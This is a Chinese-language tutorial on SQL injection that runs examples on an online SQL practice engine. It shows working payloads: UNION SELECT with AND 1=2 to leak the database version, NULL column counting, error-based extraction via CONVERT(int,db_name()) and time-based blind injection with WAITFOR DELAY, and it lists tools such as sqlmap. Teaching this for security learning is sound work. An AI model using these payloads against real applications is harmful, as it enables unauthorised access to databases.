SQL Injection原理與線上實作練習
SQL injection 線上實作範例教學
這篇文章主要透過線上執行的方式瞭解 SQL injection 的基本原理與技巧
讓讀者可以透過這篇的範例, 直接線上執行瞭解背後的運作
線上SQL Engine
http://sqlzoo.net/wiki/SQLZOO:SELECT_basics
我們主要透過一各線上 SQL Engine 的服務來執行相關的 SQL Injection 語句, 讀者可以依照下列範例輸入 SQL 執行
右手邊綠色的區域就會顯示結果
獲取資料庫版本訊息
select @@version |
@@version 這個變數可以讓我們知道資料庫的版本訊息, 那麼駭客是如何思考的呢?
資料庫版本訊息的駭客思維
對於駭客來說會有幾個思維的點
- 如果可以得知資料庫版本訊息, 就可以針對該資料庫版本漏洞或是相關語法進行 SQL injection
- @@version是否可以執行? 目前使用者資料庫使用者查詢權限
- 如何讓 @@version 透過SQL injection 執行?
駭客如何執行 @@version?
既然得知資料庫版本資訊對駭客是有用的資訊, 那麼駭客要如何執行查詢系統變數呢? @@version?
這邊就要開始介紹 SQL injection 基本原理
首先, 我們執行一個正常的 SQL 如下, 輸入 France
SQL 輸入 | 結果 | |||
|
|
執行結果為
接著我們最一點點改變, 強迫該 SQL 語句錯誤, 透過錯誤訊息來查詢 @@version
SQL輸入 | 執行結果 |
select population from world where name = ‘France’ AND 1 = 2 UNION SELECT @@version —‘ |
[Microsoft][ODBC SQL Server Driver][SQL Server]
Arithmetic overflow error converting nvarchar to data type numeric. (SQL-22003) |
這個範例中我們用了兩個小技巧讓 SQL 強制錯誤回傳我們希望查詢的系統變數
- And 1 = 2
- Union Select
Union Select 基本應用- 駭客觀點
另外一個駭客可以用來查詢系統變數而不透過錯誤訊息的方法, 就是透過 union select NULL
NULL 的數量必須要跟world這個資料表欄位的數量一致, 因此可以經過錯誤的嘗試, 也可以間接知道該world資料表有幾個欄位
如下列例子
SQL輸入 | 執行結果 | ||||||||||||
select * from world where population = ‘65906000′ UNION SELECT @@version,NULL,NULL,NULL,NULL, NULL |
|
執行系統函數得知資料庫名稱 – 駭客觀點
這個方式主要透過資料型態轉換錯誤, 資料庫回傳的錯誤時將系統函數 db_name()名稱回傳
註: 這個範例筆者選用 MS SQL Server 資料庫引擎. 如果是其他資料庫 mySQL會有不同的函數名稱
SQL輸入 | 執行結果 |
select population from world where population = ‘65906000’ AND 1 = CONVERT(int,db_name()) |
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value ‘gisq‘ to data type int. (SQL-22018) |
Blind SQL injection
上面舉的幾個範例都是當SQL 可已有回應訊息
但是如果 SQL or Web 沒有任何回應訊息怎麼辦呢?
當然駭客不會因此罷休, 這種方式就稱為 Blind SQL injection
讓我們看下列範例
SQL輸入 | 執行結果 |
–取出@@version回傳結果第25個字元開始的第一個字元
select substring((select @@version),25,1) |
5 |
透過這個方式, 我們可以加上邏輯判斷利用時間的等待, 一個一個字元判斷出
SQL輸入 | 執行結果 |
–如果第25個字元的第一個字元是5, 等待10秒鐘
if substring((select @@version),25,1) = 5 waitfor delay ‘0:0:10’ |
等待十秒後,才回應 |
SQL injection 自動化開源工具
很麻煩且耗時嗎?
- https://github.com/sqlmapproject/sqlmap
- http://sqlninja.sourceforge.net/
- http://sourceforge.net/projects/safe3si/
- http://sqlsus.sourceforge.net/
- http://sourceforge.net/projects/themole/files/
SQL injection 完整範例程式碼
[pastacode lang=”sql” message=”SQL injection online practices” highlight=”” provider=”manual”]
http://sqlzoo.net/wiki/SQLZOO:SELECT_basics
SELECT population FROM world WHERE name = 'France'
-- SQL version: select @@version
select population from world
where name = 'France'
select @@version
select population from world
where name = 'France' AND 1 = 2
UNION SELECT @@version --
select population from world
where name = 'France'
UNION SELECT @@version
select * from world
where population = '65906000'
UNION SELECT @@version,NULL,NULL,NULL
select * from world
where population = '65906000'
UNION SELECT @@version,NULL,NULL,NULL, NULL, NULL, NULL,NULL
select population from world
where population = '65906000'
UNION SELECT @@version
select population from world
where population = '65906000'
AND 1=0
UNION SELECT @@version
-- Using Data Convert and force error
select population from world
where population = '65906000'
AND 1 = CONVERT(int,db_name())
-- Using Waitfor delay to know hte SQL version . This is for MS SQL Engine
select @@version
select substring((select @@version),25,1)
if substring((select @@version),25,1) = 5 waitfor delay '0:0:10'
-- ASCII code
select ascii('r');
select ascii('o');
select ascii('o');
select ascii('t');
[/pastacode]